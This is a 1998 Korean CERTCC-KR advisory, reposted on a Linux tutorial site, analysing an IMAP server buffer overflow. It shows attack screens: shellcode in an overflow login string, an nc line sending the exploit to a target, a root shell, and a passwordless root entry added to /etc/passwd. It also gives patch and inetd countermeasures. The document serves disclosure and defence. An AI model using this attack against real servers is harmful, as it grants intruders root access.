강좌
클라우드/리눅스에 관한 강좌입니다.
리눅스 분류

IMAP 취약점 분석 보고서

작성자 정보

  • 웹관리자 작성
  • 작성일

컨텐츠 정보

본문

IMAP 취약점 분석 보고서

1998. 8

김 상정/CERTCC-KR, 한국정보보호센터

serene@{certcc, kisa}.or.kr

1. 개요

IMAP 서버는 리눅스 운영체제를 설치할 때 기본적으로 설치되는 것으로 사용자의 메일을 서버쪽에서 관리하도록 해주는 프로그램이다. 보통 일반 사용자들은 POP서버를 사용하며 IMAP 서버는 관리자가 인지하지 못하는 사이에 데몬으로 동작하고 있는 경우가 많다. IMAP 서버의 버퍼오버플로우 취약점을 이용한 해킹프로그램이 인터넷 상에 널리 퍼져 있으므로 이 프로그램의 사용에 주의가 필요하다.

2. 공격 예

IMAP 서버가 사용자 확인을 위하여 아이디와 패스워드를 입력받을 때 그 길이에 대한 한계값에 대한 검사를 충분히 하지 않아 조작된 값을 입력함으로써 공격자는 원격에서 관리자 권한으로 명령을 수행시킬 수 있다.

가. 공격 화면

- imap 공격 프로그램을 실행했을 때의 동작 화면 -

bash# ./imap
301 LOGIN
"릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱먮;^v1??핂n n?ㄷnㄷ?1???릱릱릱릱릱릱릱릱릱릱窩***/bin/sh릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱????????????????????????????????
???????????????????????????????퓧?
pass
bash#

 

 

- imap 공격 화면1 - 대상 시스템에서 관리자(root) 권한의 쉘을 획득하는 공격이다.

[serene binaries]$ (./imap 0; cat) | ./nc 123.456.789.52 143

* OK alzza4.test.com IMAP2bis Service 7.8(99) at Mon, 31 Aug 1998 18:02:45 +0900

(KST)

whoami

root

ls /tmp

Xrootenv.0

fvwmrca00349

install.log

uname -a

Linux alzza4.test.com 2.0.18 #1 Tue Sep 10 10:15:48 EDT 1996 i586

logout

[binaries]$

 

 

- imap 공격 화면2 - 대상시스템의 패스워드 파일에 패스워드가 없는 root계정을 첫 번째 줄에 추가하는 공격


bash# ./imap2 alzza.test.com

IMAP Exploit for Linux.

 Author: Akylonius (aky@galeb.etf.bg.ac.yu)

 Modifications: p1 (p1@el8.org)

 

alzza#cat /etc/passwd | grep root

root::0:0:r00t:/:/bin/bash

root:8yX6pA./ucAzI:0:0:root:/root:/bin/bash

operator:*:11:0:operator:/root:

 

 

3. 대책

IMAP4rev1 v10.234 이전 버전의 IMAP 서버에 버퍼오버플로우 취약점이 존재하며, 신속한 업그레이드가 필요하다.

IMAP 서버를 사용하지 않는다면 /etc/inetd.conf 파일에서 imap 부분을 주석처리하여 데몬의 실행을 막는다.

[alzza4 ipop]# telnet localhost 110

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

+OK QPOP (version 2.41beta1) at alzza4.test.com starting.

 

 

다음의 주소에서 최신버전을 가져다 설치한다.

ftp://ftp.cac.washington.edu/mail/imap.tar.Z

- /etc/inetd.conf 수정 -

#imap stream tcp nowait root /usr/sbin/tcpd imapd

 

 

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,068 명
  • 현재 강좌수 :  35,976 개
  • 현재 접속자 :  318 명